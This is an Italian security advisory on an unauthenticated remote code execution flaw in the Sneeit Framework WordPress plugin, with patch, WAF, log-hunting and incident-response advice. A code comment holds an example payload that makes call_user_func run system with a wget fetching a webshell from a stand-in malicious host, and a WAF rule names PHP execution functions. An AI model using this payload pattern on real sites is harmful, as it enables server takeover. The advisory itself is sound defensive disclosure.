Il Sneeit Framework è un componente utilizzato per la creazione e la gestione di siti WordPress. WordPress alimenta oltre il 40% di tutti i siti web, rendendo qualsiasi vulnerabilità critica nel suo ecosistema una minaccia significativa. Questa vulnerabilità è particolarmente pericolosa perché si tratta di una Esecuzione di Codice da Remoto (RCE) Non Autenticata, il che significa che un attaccante non ha bisogno di accesso o credenziali per compromettere completamente il sistema.

Il rischio è amplificato dalla confermata esistenza di un exploit pubblico e dal fatto che è attivamente sfruttata. Qualsiasi sito WordPress esposto a Internet che utilizza una versione vulnerabile del plugin Sneeit Framework è un bersaglio per attacchi automatizzati. Un exploit riuscito consente all’attaccante di ottenere il pieno controllo del server sottostante, permettendo furto di dati, defacement del sito o l’uso del server in campagne botnet più ampie. L’impatto può estendersi oltre il sito web stesso, mettendo a rischio la reputazione e la sicurezza dell’intera organizzazione.

Riassunto tecnico

La causa principale di questa vulnerabilità è una neutralizzazione impropria dell’input fornito dall’utente all’interno della funzione sneeit_articles_pagination_callback(), un difetto categorizzato come CWE-94: Improper Control of Generation of Code (‘Code Injection’). La funzione passa direttamente dati non validati provenienti dalle richieste dell’utente alla funzione call_user_func() di PHP.

La catena d’attacco è la seguente:

1. L’attaccante invia una richiesta HTTP appositamente creata a un endpoint WordPress che attiva un’azione gestita dalla funzione sneeit_articles_pagination_callback.
2. Il payload della richiesta contiene un nome di funzione dannosa (es. system, exec) e relativi argomenti (es. un comando della shell).
3. La funzione vulnerabile riceve questo payload e, senza una corretta sanitizzazione, passa il nome di funzione e gli argomenti direttamente a call_user_func(), portando alla sua esecuzione con i privilegi del processo web server.

// Rappresentazione concettuale della logica di codice vulnerabile
function sneeit_articles_pagination_callback() {
    // Input controllato dall'utente prelevato dalla richiesta
    $callback_function = $_REQUEST['user_function']; 
    $command_argument = $_REQUEST['user_argument'];

    // L'input non validato è passato direttamente al sink, causando RCE
    // es. call_user_func('system', 'wget http://malicious.com/shell.php');
    call_user_func($callback_function, $command_argument);
}

Un attaccante può sfruttare questa vulnerabilità per eseguire comandi arbitrari sul server, ottenendo di fatto il pieno controllo.

Versioni interessate: Le versioni del plugin Sneeit Framework fino alla 8.3 inclusa sono vulnerabili. È stata rilasciata una patch, e gli utenti devono aggiornare immediatamente.

Raccomandazioni

• Aggiornare immediatamente: Aggiornare il plugin Sneeit Framework all’ultima versione disponibile (8.4 o successiva) tramite il pannello di amministrazione di WordPress senza indugio.

• Mitigazione immediata: Se non è possibile applicare la patch immediatamente, il plugin dovrebbe essere disabilitato e disinstallato per eliminare la superficie d’attacco. Implementare un Web Application Firewall (WAF) con regole apposite per ispezionare i corpi delle richieste alla ricerca di nomi di funzioni PHP come system, passthru, shell_exec o exec passati ad azioni AJAX di WordPress associate al plugin.

• Ricerca e monitoraggio:

  • Esaminare i log di accesso del server web (es. Nginx, Apache) per richieste POST a wp-admin/admin-ajax.php contenenti parametri sospetti. In particolare, cercare action=sneeit_articles_pagination e analizzare il corpo della richiesta per payload contenenti funzioni di esecuzione PHP.
  • Utilizzare uno strumento di monitoraggio dell’integrità dei file per eseguire la scansione della directory d’installazione di WordPress alla ricerca di file PHP imprevisti o modificati di recente, specialmente in wp-content/uploads e nelle directory dei temi, che sono posizioni comuni per i webshell.
  • Verificare la presenza di nuovi utenti WordPress creati con privilegi amministrativi.

• Gestione degli incidenti: Se si sospetta una compromissione, mettere immediatamente offline il sito e isolare il server dalla rete. Attivare il piano di risposta agli incidenti, che deve includere l’analisi dei log del server per determinare l’entità della violazione, l’identificazione e la rimozione di eventuali backdoor, e il ripristino del sito da un backup noto e pulito creato prima della presunta compromissione. Tutte le credenziali, incluse password del database, password degli amministratori e API key, devono essere ruotate.

• Difesa in profondità: Assicurarsi che il processo del server web sia eseguito con i privilegi minimi possibili. Mantenere una pianificazione regolare e automatica di backup off-site. Segmentare la rete del server web per prevenire movimenti laterali in caso di compromissione.